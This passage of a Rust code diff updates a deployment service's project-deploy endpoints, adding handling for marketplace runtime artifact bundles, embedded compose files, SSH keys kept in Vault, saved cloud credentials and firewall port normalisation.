+        .get("marketplace_assets")
+        .and_then(|assets| assets.as_array())
+        .and_then(|assets| {
+            assets.iter().find_map(|asset| {
+                let parsed =
+                    serde_json::from_value::<models::MarketplaceAsset>(asset.clone()).ok()?;
+                let filename = parsed.filename.to_ascii_lowercase();
+                let content_type = parsed.content_type.to_ascii_lowercase();
+                if filename.ends_with(".tgz")
+                    || filename.ends_with(".tar.gz")
+                    || content_type == "application/gzip"
+                    || content_type == "application/x-gzip"
+                    || content_type == "application/x-tar"
+                {
+                    Some(parsed)
+                } else {
+                    None
+                }
+            })
+        })
+}
+
+fn preserve_marketplace_runtime_artifacts(
+    project: &mut models::Project,
+    template_version: Option<&models::StackTemplateVersion>,
+) -> Result<(), String> {
+    for field in [
+        "marketplace_config_files",
+        "marketplace_assets",
+        "marketplace_seed_jobs",
+        "marketplace_post_deploy_hooks",
+    ] {
+        let value = custom_field(&project.metadata, field)
+            .or_else(|| custom_field(&project.request_json, field))
+            .or_else(|| {
+                template_version.and_then(|version| template_version_field(version, field))
+            });
+
+        if let Some(value) = value {
+            upsert_custom_field(&mut project.metadata, field, &value);
+            upsert_custom_field(&mut project.request_json, field, &value);
+        }
+    }
+
+    Ok(())
+}
+
+fn build_runtime_artifact_bundle(
+    settings: &Settings,
+    custom: &serde_json::Value,
+) -> Result<Option<serde_json::Value>, String> {
+    let config_files = custom
+        .get("marketplace_config_files")
+        .cloned()
+        .unwrap_or_else(|| serde_json::json!([]));
+    let assets = custom
+        .get("marketplace_assets")
+        .cloned()
+        .unwrap_or_else(|| serde_json::json!([]));
+    let seed_jobs = custom
+        .get("marketplace_seed_jobs")
+        .cloned()
+        .unwrap_or_else(|| serde_json::json!([]));
+    let post_deploy_hooks = custom
+        .get("marketplace_post_deploy_hooks")
+        .cloned()
+        .unwrap_or_else(|| serde_json::json!([]));
+
+    if !is_non_empty_json(&config_files)
+        && !is_non_empty_json(&assets)
+        && !is_non_empty_json(&seed_jobs)
+        && !is_non_empty_json(&post_deploy_hooks)
+    {
+        return Ok(None);
+    }
+
+    let mut bundle = serde_json::json!({
+        "archive_format": "tar.gz",
+        "config_files_count": config_files.as_array().map(|items| items.len()).unwrap_or(0),
+        "asset_count": assets.as_array().map(|items| items.len()).unwrap_or(0),
+        "seed_jobs_count": seed_jobs.as_array().map(|items| items.len()).unwrap_or(0),
+        "post_deploy_hooks_count": post_deploy_hooks.as_array().map(|items| items.len()).unwrap_or(0),
+        "seed_jobs_execution": "deferred",
+        "post_deploy_execution": "deferred",
+    });
+
+    if let Some(asset) = select_runtime_bundle_asset(custom) {
+        let safe_filename = sanitize_runtime_bundle_filename(&asset.filename)
+            .unwrap_or_else(|| "runtime-artifacts.tar.gz".to_string());
+        if let Some(bundle_object) = bundle.as_object_mut() {
+            bundle_object.insert("filename".to_string(), serde_json::json!(safe_filename));
+            bundle_object.insert("sha256".to_string(), serde_json::json!(asset.sha256));
+            bundle_object.insert("size".to_string(), serde_json::json!(asset.size));
+            bundle_object.insert(
+                "content_type".to_string(),
+                serde_json::json!(asset.content_type),
+            );
+            bundle_object.insert(
+                "decompress".to_string(),
+                serde_json::json!(asset.decompress),
+            );
+            if let Some(fetch_target) = asset.fetch_target.clone() {
+                bundle_object.insert("fetch_target".to_string(), serde_json::json!(fetch_target));
+            }
+            if let Some(mount_path) = asset.mount_path.clone() {
+                bundle_object.insert("mount_path".to_string(), serde_json::json!(mount_path));
+            }
+        }
+
+        match services::presign_asset_download(&settings.marketplace_assets, &asset) {
+            Ok(presigned) => {
+                if let Some(bundle_object) = bundle.as_object_mut() {
+                    bundle_object
+                        .insert("download_url".to_string(), serde_json::json!(presigned.url));
+                    bundle_object.insert(
+                        "download_method".to_string(),
+                        serde_json::json!(presigned.method),
+                    );
+                    bundle_object.insert(
+                        "expires_in_seconds".to_string(),
+                        serde_json::json!(presigned.expires_in_seconds),
+                    );
+                }
+            }
+            Err(err) => {
+                tracing::warn!(
+                    "Failed to presign runtime artifact bundle download: {}",
+                    err
+                );
+                if let Some(bundle_object) = bundle.as_object_mut() {
+                    bundle_object.insert(
+                        "download_url_error".to_string(),
+                        serde_json::json!(err.to_string()),
+                    );
+                }
+            }
+        }
+    }
+
+    Ok(Some(bundle))
+}
+
+fn sync_runtime_artifact_bundle(
+    settings: &Settings,
+    project: &mut models::Project,
+) -> Result<(), String> {
+    match build_runtime_artifact_bundle(settings, &project.metadata["custom"])? {
+        Some(runtime_bundle) => {
+            ensure_root_object(&mut project.metadata).insert(
+                "runtime_artifact_bundle".to_string(),
+                runtime_bundle.clone(),
+            );
+            ensure_root_object(&mut project.request_json)
+                .insert("runtime_artifact_bundle".to_string(), runtime_bundle);
+        }
+        None => {
+            ensure_root_object(&mut project.metadata).remove("runtime_artifact_bundle");
+            ensure_root_object(&mut project.request_json).remove("runtime_artifact_bundle");
+        }
+    }
+
+    Ok(())
+}
+
+fn upsert_root_field(target: &mut serde_json::Value, field: &str, value: &serde_json::Value) {
+    ensure_root_object(target).insert(field.to_string(), value.clone());
+}
+
+fn upsert_deployment_artifact(
+    target: &mut serde_json::Value,
+    field: &str,
+    value: &serde_json::Value,
+) {
+    let custom = ensure_custom_object(target);
+    let deployment_artifacts = custom
+        .entry("deployment_artifacts".to_string())
+        .or_insert_with(|| serde_json::json!({}));
+    if !deployment_artifacts.is_object() {
+        *deployment_artifacts = serde_json::json!({});
+    }
+
+    deployment_artifacts
+        .as_object_mut()
+        .expect("deployment_artifacts should be normalized to an object")
+        .insert(field.to_string(), value.clone());
+}
+
+fn basename_from_path(path: &str) -> Option<&str> {
+    Path::new(path)
+        .file_name()
+        .and_then(|name| name.to_str())
+        .map(str::trim)
+        .filter(|name| !name.is_empty())
+}
+
+fn compose_content_from_config_files(
+    config_files: &serde_json::Value,
+) -> Result<Option<String>, String> {
+    let files = config_files
+        .as_array()
+        .ok_or_else(|| "config_files must be an array".to_string())?;
+
+    for file in files {
+        let file_name = file
+            .get("name")
+            .and_then(|value| value.as_str())
+            .map(str::trim)
+            .filter(|name| !name.is_empty())
+            .or_else(|| {
+                file.get("destination_path")
+                    .and_then(|value| value.as_str())
+                    .and_then(basename_from_path)
+            });
+
+        if let Some(file_name) = file_name {
+            if crate::project_app::is_compose_filename(file_name) {
+                let content = file
+                    .get("content")
+                    .and_then(|value| value.as_str())
+                    .ok_or_else(|| {
+                        format!(
+                            "compose config file '{}' is missing string content",
+                            file_name
+                        )
+                    })?;
+                return Ok(Some(content.to_string()));
+            }
+        }
+    }
+
+    Ok(None)
+}
+
+fn runtime_config_files_from_deploy_config_files(
+    config_files: &serde_json::Value,
+) -> Result<serde_json::Value, String> {
+    let files = config_files
+        .as_array()
+        .ok_or_else(|| "config_files must be an array".to_string())?;
+    let mut runtime_files = Vec::new();
+
+    for file in files {
+        let file_name = file
+            .get("name")
+            .and_then(|value| value.as_str())
+            .map(str::trim)
+            .filter(|name| !name.is_empty())
+            .or_else(|| {
+                file.get("destination_path")
+                    .and_then(|value| value.as_str())
+                    .and_then(basename_from_path)
+            });
+
+        if file_name.is_some_and(crate::project_app::is_compose_filename) {
+            continue;
+        }
+
+        let path = file
+            .get("destination_path")
+            .or_else(|| file.get("path"))
+            .and_then(|value| value.as_str())
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+            .ok_or_else(|| "config file is missing destination_path".to_string())?;
+        let content = file
+            .get("content")
+            .and_then(|value| value.as_str())
+            .ok_or_else(|| format!("config file '{}' is missing string content", path))?;
+
+        let mut runtime_file = serde_json::json!({
+            "path": path,
+            "content": content,
+        });
+        if let Some(mode) = file
+            .get("file_mode")
+            .or_else(|| file.get("mode"))
+            .and_then(|value| value.as_str())
+        {
+            runtime_file["mode"] = serde_json::json!(mode);
+        }
+        runtime_files.push(runtime_file);
+    }
+
+    Ok(serde_json::Value::Array(runtime_files))
+}
+
+fn merge_marketplace_config_files(target: &mut serde_json::Value, generated: &serde_json::Value) {
+    let Some(generated_files) = generated.as_array().filter(|files| !files.is_empty()) else {
+        return;
+    };
+
+    let custom = ensure_custom_object(target);
+    let existing = custom
+        .entry("marketplace_config_files".to_string())
+        .or_insert_with(|| serde_json::json!([]));
+    if !existing.is_array() {
+        *existing = serde_json::json!([]);
+    }
+
+    let existing_files = existing
+        .as_array_mut()
+        .expect("marketplace_config_files should be normalized to an array");
+    for generated_file in generated_files {
+        let generated_path = generated_file.get("path").and_then(|value| value.as_str());
+        if let Some(path) = generated_path {
+            existing_files
+                .retain(|file| file.get("path").and_then(|value| value.as_str()) != Some(path));
+        }
+        existing_files.push(generated_file.clone());
+    }
+}
+
+fn apply_deploy_bundle(
+    project: &mut models::Project,
+    form: &forms::project::Deploy,
+) -> Result<Option<String>, String> {
+    if let Some(environment) = form
+        .environment
+        .as_ref()
+        .map(|value| value.trim())
+        .filter(|value| !value.is_empty())
+    {
+        let environment_value = serde_json::Value::String(environment.to_string());
+        upsert_root_field(&mut project.metadata, "environment", &environment_value);
+        upsert_root_field(&mut project.request_json, "environment", &environment_value);
+    }
+
+    let compose_content = match form
+        .config_files
+        .as_ref()
+        .filter(|value| is_non_empty_json(value))
+    {
+        Some(config_files) => {
+            upsert_root_field(&mut project.metadata, "config_files", config_files);
+            upsert_root_field(&mut project.request_json, "config_files", config_files);
+            let runtime_config_files = runtime_config_files_from_deploy_config_files(config_files)?;
+            merge_marketplace_config_files(&mut project.metadata, &runtime_config_files);
+            merge_marketplace_config_files(&mut project.request_json, &runtime_config_files);
+            compose_content_from_config_files(config_files)?
+        }
+        None => None,
+    };
+
+    if let Some(config_bundle) = form
+        .config_bundle
+        .as_ref()
+        .filter(|value| is_non_empty_json(value))
+    {
+        upsert_root_field(&mut project.metadata, "config_bundle", config_bundle);
+        upsert_root_field(&mut project.request_json, "config_bundle", config_bundle);
+
+        let artifact_metadata = config_bundle
+            .get("manifest")
+            .cloned()
+            .unwrap_or_else(|| config_bundle.clone());
+        upsert_deployment_artifact(&mut project.metadata, "config_bundle", &artifact_metadata);
+        upsert_deployment_artifact(
+            &mut project.request_json,
+            "config_bundle",
+            &artifact_metadata,
+        );
+    }
+
+    Ok(compose_content)
+}
+
+/// Extract a compose file from `custom.marketplace_config_files` if present.
+///
+/// Marketplace templates with YAML-embed definitions (ComposeYaml, StackerConfig)
+/// store their compose YAML here rather than in the structured web/service/feature
+/// arrays that `DcBuilder` reads.  This helper lets `execute_deployment` fall
+/// back to the embedded compose before resorting to `DcBuilder::build()`.
+fn embedded_marketplace_compose(metadata: &serde_json::Value) -> Option<String> {
+    let cf = metadata
+        .get("custom")
+        .and_then(|c| c.get("marketplace_config_files"))
+        .filter(|v| is_non_empty_json(v))?;
+    compose_content_from_config_files(cf).ok().flatten()
+}
+
+async fn load_project_template_version(
+    pg_pool: &PgPool,
+    project: &models::Project,
+) -> Result<Option<models::StackTemplateVersion>, String> {
+    let Some(template_id) = project.source_template_id else {
+        return Ok(None);
+    };
+
+    let versions = db::marketplace::list_versions_by_template(pg_pool, template_id).await?;
+    if let Some(target_version) = project.template_version.as_deref() {
+        Ok(versions
+            .into_iter()
+            .find(|version| version.version == target_version))
+    } else {
+        Ok(versions
+            .into_iter()
+            .find(|version| version.is_latest.unwrap_or(false)))
+    }
+}
+
+async fn execute_deployment(
+    user: &models::User,
+    mut project: models::Project,
+    form: &forms::project::Deploy,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+    settings: &Settings,
+    cloud: models::Cloud,
+    server: models::Server,
+) -> Result<(i32, i32)> {
+    let deploy_compose = apply_deploy_bundle(&mut project, form)
+        .map_err(|err| JsonResponse::<models::Project>::build().bad_request(err))?;
+    let template_version = load_project_template_version(pg_pool, &project)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+    preserve_marketplace_runtime_artifacts(&mut project, template_version.as_ref())
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+    sync_runtime_artifact_bundle(settings, &mut project)
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+
+    // For marketplace templates with YAML-embed definitions (ComposeYaml,
+    // StackerConfig), the compose is stored in custom.marketplace_config_files
+    // rather than the structured web/service/feature arrays.  Extract it
+    // before DcBuilder::new() moves `project`.
+    let marketplace_compose = embedded_marketplace_compose(&project.metadata);
+
+    let id = project.id;
+    let dc = DcBuilder::new(project);
+    let fc = deploy_compose
+        .or(marketplace_compose)
+        .map(Ok)
+        .unwrap_or_else(|| {
+            dc.build()
+                .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
+        })?;
+
+    let mut new_public_key: Option<String> = None;
+    let mut bootstrap_private_key: Option<String> = None;
+    let provided_keypair = resolve_provided_ssh_keypair(&form.server)
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+    if let Some((_, private_key)) = provided_keypair.as_ref() {
+        bootstrap_private_key = Some(private_key.clone());
+        tracing::info!(
+            "Using provided SSH private key transiently for bootstrap on server {}",
+            server.id
+        );
+    }
+
+    let server = if server.key_status != "active" {
+        match VaultClient::generate_ssh_keypair() {
+            Ok((public_key, private_key)) => {
+                match vault_client
+                    .store_ssh_key(&user.id, server.id, &public_key, &private_key)
+                    .await
+                {
+                    Ok(vault_path) => {
+                        tracing::info!(
+                            "Auto-generated SSH key for server {} (vault_key_path: {})",
+                            server.id,
+                            vault_path
+                        );
+                        new_public_key = Some(public_key);
+                        db::server::update_ssh_key_status(
+                            pg_pool,
+                            server.id,
+                            Some(vault_path),
+                            "active",
+                        )
+                        .await
+                        .unwrap_or_else(|e| {
+                            tracing::warn!("Failed to update SSH key status: {}", e);
+                            server
+                        })
+                    }
+                    Err(e) => {
+                        tracing::warn!(
+                            "Failed to store auto-generated SSH key in Vault for server {}: {}",
+                            server.id,
+                            e
+                        );
+                        server
+                    }
+                }
+            }
+            Err(e) => {
+                tracing::warn!(
+                    "Failed to auto-generate SSH keypair for server {}: {}",
+                    server.id,
+                    e
+                );
+                server
+            }
+        }
+    } else {
+        match vault_client.fetch_ssh_public_key(&user.id, server.id).await {
+            Ok(pk) => {
+                tracing::info!(
+                    "Fetched existing public key from Vault for server {}",
+                    server.id
+                );
+                new_public_key = Some(pk);
+            }
+            Err(e) => {
+                tracing::warn!(
+                    "Failed to fetch public key from Vault for server {}: {}",
+                    server.id,
+                    e
+                );
+            }
+        }
+        server
+    };
+
+    let has_existing_ip = server.srv_ip.as_ref().map_or(false, |ip| !ip.is_empty());
+    if has_existing_ip && new_public_key.is_none() && server.vault_key_path.is_none() {
+        tracing::error!(
+            "Cannot deploy to existing server {} (IP: {:?}): SSH key is not available. \
+             vault_key_path is None and key generation failed.",
+            server.id,
+            server.srv_ip,
+        );
+        return Err(JsonResponse::<models::Project>::build().bad_request(
+            "SSH key is not available for this server. \
+             Please generate an SSH key first with `stacker ssh-key generate` \
+             or re-add your server with SSH credentials.",
+        ));
+    }
+
+    let mut json_request = dc.project.metadata.clone();
+    // Firewall public ports come from two sources that must be merged:
+    //   1. explicit `public_ports` sent by the client — the CLI populates these
+    //      from `deploy.cloud.public_ports` in stacker.yml; and
+    //   2. ports configured per-app in the web UI (Stack Builder), stored as
+    //      host-published `shared_ports` on the stack's apps.
+    // Both are normalized to canonical "port/protocol" form and de-duplicated so
+    // downstream consumers (deployment metadata, MQ auto-firewall, Install
+    // Service) never see a bare port number that could be silently dropped.
+    // Invalid explicit entries are rejected up front with a 400 rather than
+    // swallowed; derived entries come from already-validated Port forms.
+    let normalized_public_ports: Option<Vec<String>> = {
+        let mut normalized: Vec<String> = Vec::new();
+        let mut seen: HashSet<String> = HashSet::new();
+
+        if let Some(explicit) = form.public_ports.as_ref() {
+            for port in explicit {
+                let canonical =
+                    crate::forms::firewall::normalize_public_port(port).map_err(|err| {
+                        JsonResponse::<models::Project>::build()
+                            .bad_request(format!("Invalid public_ports: {err}"))
+                    })?;
+                if seen.insert(canonical.clone()) {
+                    normalized.push(canonical);
+                }
+            }
+        }
+
+        for port in derive_public_ports_from_metadata(&dc.project.metadata) {
+            // Normalize again so both sources share identical canonical
+            // formatting; derived specs are already valid so failures are skipped
+            // rather than turned into a 400.
+            if let Ok(canonical) = crate::forms::firewall::normalize_public_port(&port) {
+                if seen.insert(canonical.clone()) {
+                    normalized.push(canonical);
+                }
+            }
+        }
+
+        (!normalized.is_empty()).then_some(normalized)
+    };
+
+    if let Some(ref public_ports) = normalized_public_ports {
+        if let Some(obj) = json_request.as_object_mut() {
+            obj.insert(
+                "public_ports".to_string(),
+                serde_json::Value::Array(
+                    public_ports
+                        .iter()
+                        .map(|p| serde_json::Value::String(p.clone()))
+                        .collect(),
+                ),
+            );
+        }
+    }
+    let deployment_hash = format!("deployment_{}", Uuid::new_v4());
+    let deployment = models::Deployment::new(
+        dc.project.id,
+        Some(user.id.clone()),
+        deployment_hash.clone(),
+        String::from("pending"),
+        "runc".to_string(),
+        json_request,
+    );
+
+    let saved_deployment = db::deployment::insert(pg_pool, deployment)
+        .await
+        .map_err(|_| {
+            JsonResponse::<models::Project>::build().internal_server_error("Internal Server Error")
+        })?;
+
+    let deployment_id = saved_deployment.id;
+
+    let new_private_key = if let Some(pk) = bootstrap_private_key {
+        Some(pk)
+    } else if server.vault_key_path.is_some() {
+        match vault_client.fetch_ssh_key(&user.id, server.id).await {
+            Ok(pk) => {
+                tracing::info!(
+                    "Fetched SSH private key from Vault for server {}",
+                    server.id
+                );
+                Some(pk)
+            }
+            Err(e) => {
+                tracing::warn!(
+                    "Failed to fetch SSH private key from Vault for server {}: {}",
+                    server.id,
+                    e
+                );
+                None
+            }
+        }
+    } else {
+        None
+    };
+
+    // Capture server and cloud references before they move into deploy().
+    let has_server_ip = server
+        .srv_ip
+        .as_ref()
+        .map_or(false, |ip| !ip.trim().is_empty());
+    let should_configure_firewall = has_server_ip
+        && normalized_public_ports
+            .as_ref()
+            .map_or(false, |p| !p.is_empty());
+    let firewall_server = server.clone();
+    let firewall_cloud = cloud.clone();
+
+    let deploy_result = install_service
+        .deploy(
+            user.id.clone(),
+            user.email.clone(),
             id,
             deployment_id,
-            deployment_hash,
+            deployment_hash.clone(),
             &dc.project,
-            cloud_creds,
+            cloud,
             server,
             &form.stack,
             form.registry.clone(),
             fc,
-            mq_manager.get_ref(),
+            mq_manager,
             new_public_key,
             new_private_key,
         )
         .await
-        .map(|project_id| {
-            JsonResponse::<models::Project>::build()
-                .set_id(project_id)
-                .set_meta(serde_json::json!({ "deployment_id": deployment_id }))
-                .ok("Success")
-        })
-        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+
+    if let Some(registry) = form.registry.as_ref() {
+        crate::project_app::store_registry_auth_to_vault(
+            &deployment_hash,
+            registry,
+            &settings.vault,
+        )
+        .await;
+    }
+
+    // When deploying to an existing server (has IP), configure cloud firewall immediately.
+    if should_configure_firewall {
+        if let Some(ref ports) = normalized_public_ports {
+            if let Err(e) = crate::forms::cloud_firewall::publish_public_firewall_rules(
+                mq_manager,
+                &firewall_server,
+                &firewall_cloud,
+                ports,
+                &deployment_hash,
+                &user.id,
+            )
+            .await
+            {
+                tracing::warn!(
+                    "Failed to auto-configure cloud firewall for deployment {}: {}",
+                    deployment_hash,
+                    e
+                );
+            }
+        }
+    }
+
+    Ok((deploy_result, deployment_id))
+}
+
+#[allow(clippy::too_many_arguments)]
+pub(crate) async fn deploy_project(
+    user: &models::User,
+    project: models::Project,
+    mut form: forms::project::Deploy,
+    pg_pool: &PgPool,
+    mq_manager: &MqManager,
+    settings: &Settings,
+    user_service: &Arc<dyn UserServiceConnector>,
+    install_service: &Arc<dyn InstallServiceConnector>,
+    vault_client: &VaultClient,
+) -> Result<(i32, i32)> {
+    form.cloud.provider = form.cloud.provider.trim().to_string();
+
+    if !form.validate().is_ok() {
+        let errors = form.validate().unwrap_err().to_string();
+        let err_msg = format!("Invalid form data received {:?}", &errors);
+        tracing::debug!(err_msg);
+
+        return Err(JsonResponse::<models::Project>::build().form_error(errors));
+    }
+
+    validate_project_locked_cloud_provider(&project, &form.cloud.provider)
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    let marketplace_template = if let Some(template_id) = project.source_template_id {
+        let template = db::marketplace::get_by_id(pg_pool, template_id)
+            .await
+            .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+
+        if let Some(template) = template {
+            services::validate_marketplace_template_access(user_service, user, &template)
+                .await
+                .map_err(map_marketplace_access_error)?;
+
+            Some(template)
+        } else {
+            None
+        }
+    } else {
+        None
+    };
+
+    let id = project.id;
+
+    form.cloud.user_id = Some(user.id.clone());
+    form.cloud.project_id = Some(id);
+
+    // Resolve saved cloud credentials by name when the inbound form did not
+    // carry inline credentials. This makes the install/catalog flow honor
+    // `deploy.cloud.key` / `deploy.cloud.name` just like the explicit
+    // `POST /project/{id}/deploy/{cloud_id}` route honors its path param.
+    // We hold on to the resolved saved cloud so the new server gets linked
+    // back to the saved cloud's DB id (otherwise `server.cloud_id` would
+    // stay NULL and the Install Service has no credentials to use).
+    let mut resolved_saved_cloud: Option<models::Cloud> = None;
+    if form.cloud.provider != "own" && cloud_credentials_missing(&form.cloud) {
+        if let Some(name) = form
+            .cloud
+            .name
+            .as_deref()
+            .map(str::trim)
+            .filter(|value| !value.is_empty())
+        {
+            match resolve_saved_cloud_for_user(pg_pool, &user.id, name).await {
+                Ok(Some(saved)) => {
+                    let decoded = forms::cloud::CloudForm::decode_model(saved.clone(), true);
+                    form.cloud.cloud_token = decoded.cloud_token;
+                    form.cloud.cloud_key = decoded.cloud_key;
+                    form.cloud.cloud_secret = decoded.cloud_secret;
+                    form.cloud.save_token = Some(false);
+                    resolved_saved_cloud = Some(saved);
+                }
+                Ok(None) => {
+                    return Err(JsonResponse::<models::Project>::build().bad_request(
+                        format!(
+                            "Saved cloud credential '{}' was not found. Run `stacker list clouds` to see available names or omit `deploy.cloud.key` to attach a new one.",
+                            name
+                        ),
+                    ));
+                }
+                Err(err) => {
+                    tracing::error!(
+                        "Failed to load saved cloud credential '{}' for user {}: {}",
+                        name,
+                        user.id,
+                        err
+                    );
+                    return Err(JsonResponse::<models::Project>::build()
+                        .internal_server_error("Failed to load saved cloud credentials"));
+                }
+            }
+        }
+    }
+
+    // Validate cloud credentials before encrypting/saving.
+    // For cloud providers ("htz", "do", "lin", "aws", etc.) we need valid credentials.
+    if form.cloud.provider != "own" {
+        let token_empty = form
+            .cloud
+            .cloud_token
+            .as_ref()
+            .map_or(true, |t| t.is_empty());
+        let key_empty = form.cloud.cloud_key.as_ref().map_or(true, |k| k.is_empty());
+        let secret_empty = form
+            .cloud
+            .cloud_secret
+            .as_ref()
+            .map_or(true, |s| s.is_empty());
+
+        if token_empty && (key_empty || secret_empty) {
+            tracing::error!(
+                "Deploy rejected: cloud provider '{}' requires credentials but none provided",
+                form.cloud.provider
+            );
+            return Err(JsonResponse::<models::Project>::build().bad_request(
+                "Cloud API credentials are required for cloud deployments. \
+                 Please provide your cloud provider API token, or set `deploy.cloud.key` to the name of a saved credential (see `stacker list clouds`).",
+            ));
+        }
+    }
+
+    // Save cloud credentials if requested, capturing the returned cloud with its DB id.
+    // When the user is reusing a saved cloud (resolved above by name), keep
+    // that cloud's DB id so `server.cloud_id` is set correctly downstream.
+    let cloud_creds: models::Cloud = if let Some(saved) = resolved_saved_cloud.take() {
+        saved
+    } else {
+        let cloud_creds: models::Cloud = (&form.cloud).into();
+        if Some(true) == cloud_creds.save_token {
+            db::cloud::insert(pg_pool, cloud_creds.clone())
+                .await
+                .map_err(|_| {
+                    JsonResponse::<models::Cloud>::build()
+                        .internal_server_error("Internal Server Error")
+                })?
+        } else {
+            cloud_creds
+        }
+    };
+
+    // Handle server: if server_id provided, update existing; otherwise create new
+    let server = if let Some(server_id) = form.server.server_id {
+        // Update existing server
+        let existing = db::server::fetch(pg_pool, server_id)
+            .await
+            .map_err(|_| {
+                JsonResponse::<models::Server>::build()
+                    .internal_server_error("Failed to fetch server")
+            })?
+            .ok_or_else(|| JsonResponse::<models::Server>::build().not_found("Server not found"))?;
+
+        // Verify ownership
+        if existing.user_id != user.id {
+            return Err(JsonResponse::<models::Server>::build().not_found("Server not found"));
+        }
+
+        let mut server = existing;
+        server.disk_type = form.server.disk_type.clone();
+        server.region = form.server.region.clone();
+        server.server = form.server.server.clone();
+        server.zone = form.server.zone.clone().or(server.zone);
+        server.os = form.server.os.clone();
+        server.project_id = id;
+        // Preserve existing srv_ip if form doesn't provide one
+        server.srv_ip = form.server.srv_ip.clone().or(server.srv_ip);
+        server.ssh_user = form.server.ssh_user.clone().or(server.ssh_user);
+        server.ssh_port = form.server.ssh_port.or(server.ssh_port);
+        server.name = form.server.name.clone().or(server.name);
+        if form.server.connection_mode.is_some() {
+            server.connection_mode = form.server.connection_mode.clone().unwrap();
+        }
+
+        db::server::update(pg_pool, server).await.map_err(|_| {
+            JsonResponse::<models::Server>::build().internal_server_error("Failed to update server")
+        })?
+    } else {
+        // Create new server
+        let mut server: models::Server = (&form.server).into();
+        server.user_id = user.id.clone();
+        server.project_id = id;
+        // Set cloud_id from saved cloud credentials (if cloud was saved, it has a DB id)
+        if cloud_creds.id != 0 {
+            server.cloud_id = Some(cloud_creds.id);
+        }
+
+        db::server::insert(pg_pool, server).await.map_err(|_| {
+            JsonResponse::<models::Server>::build().internal_server_error("Internal Server Error")
+        })?
+    };
+
+    validate_reused_cloud_server(&cloud_creds, &server)
+        .await
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    validate_hetzner_server_type(
+        &cloud_creds,
+        server.server.as_deref().unwrap_or(""),
+        server.region.as_deref(),
+    )
+    .await
+    .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+    ensure_default_status_panel_npm_credentials(user, &form, pg_pool, settings, &server)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+
+    if let Some(template) = marketplace_template.as_ref() {
+        let requirements = parse_template_requirements(template)
+            .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+        validate_template_target_requirements(
+            template,
+            &requirements,
+            &form.cloud.provider,
+            server.os.as_deref(),
+        )
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+
+        validate_template_server_capacity_requirements(
+            template,
+            &requirements,
+            &form.cloud.provider,
+            if cloud_creds.id != 0 {
+                Some(cloud_creds.id)
+            } else {
+                None
+            },
+            server.server.as_deref(),
+            user.access_token.as_deref(),
+        )
+        .await
+        .map_err(|msg| JsonResponse::<models::Project>::build().bad_request(msg))?;
+    }
+
+    execute_deployment(
+        user,
+        project,
+        &form,
+        pg_pool,
+        mq_manager,
+        install_service,
+        vault_client,
+        settings,
+        cloud_creds,
+        server,
+    )
+    .await
+}
+
+#[tracing::instrument(name = "Deploy for every user", skip_all)]
+#[post("/{id}/deploy")]
+pub async fn item(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32,)>,
+    form: web::Json<forms::project::Deploy>,
+    pg_pool: Data<PgPool>,
+    mq_manager: Data<MqManager>,
+    sets: Data<Settings>,
+    user_service: Data<Arc<dyn UserServiceConnector>>,
+    install_service: Data<Arc<dyn InstallServiceConnector>>,
+    vault_client: Data<VaultClient>,
+) -> Result<impl Responder> {
+    let id = path.0;
+    tracing::debug!("User {} is deploying project: {}", user.id, id);
+
+    // Validate project
+    let project = db::project::fetch(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
+        .and_then(|project| match project {
+            Some(project) => Ok(project),
+            None => Err(JsonResponse::<models::Project>::build().not_found("not found")),
+        })?;
+
+    let (project_id, deployment_id) = deploy_project(
+        user.as_ref(),
+        project,
+        form.into_inner(),
+        pg_pool.get_ref(),
+        mq_manager.get_ref(),
+        sets.get_ref(),
+        user_service.get_ref(),
+        install_service.get_ref(),
+        vault_client.get_ref(),
+    )
+    .await?;
+
+    Ok(JsonResponse::<models::Project>::build()
+        .set_id(project_id)
+        .set_meta(serde_json::json!({ "deployment_id": deployment_id }))
+        .ok("Success"))
+}
+#[tracing::instrument(name = "Deploy, when cloud token is saved", skip_all)]
+#[post("/{id}/deploy/{cloud_id}")]
+pub async fn saved_item(
+    user: web::ReqData<Arc<models::User>>,
+    mut form: web::Json<forms::project::Deploy>,
+    path: web::Path<(i32, i32)>,
+    pg_pool: Data<PgPool>,
+    mq_manager: Data<MqManager>,
+    sets: Data<Settings>,
+    user_service: Data<Arc<dyn UserServiceConnector>>,
+    install_service: Data<Arc<dyn InstallServiceConnector>>,
+    vault_client: Data<VaultClient>,
+) -> Result<impl Responder> {
+    let id = path.0;
+    let cloud_id = path.1;
+
+    tracing::debug!(
+        "User {} is deploying project: {} to cloud: {}",
+        user.id,
+        id,
+        cloud_id
+    );
+
+    // Validate project
+    let project = db::project::fetch(pg_pool.get_ref(), id)
+        .await
+        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
+        .and_then(|project| match project {
+            Some(project) => Ok(project),
+            None => Err(JsonResponse::<models::Project>::build().not_found("Project not found")),
+        })?;
+
+    let marketplace_template = if let Some(template_id) = project.source_template_id {
+        let template = db::marketplace::get_by_id(pg_pool.get_ref(), template_id)
+            .await
+            .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))?;
+
+        if let Some(template) = template {
+            services::validate_marketplace_template_access(
+                user_service.get_ref(),
+                user.as_ref(),
+                &template,
+            )
+            .await
+            .map_err(map_marketplace_access_error)?;
+
+            Some(template)
+        } else {
+            None
+        }
+    } else {
+        None
+    };
+
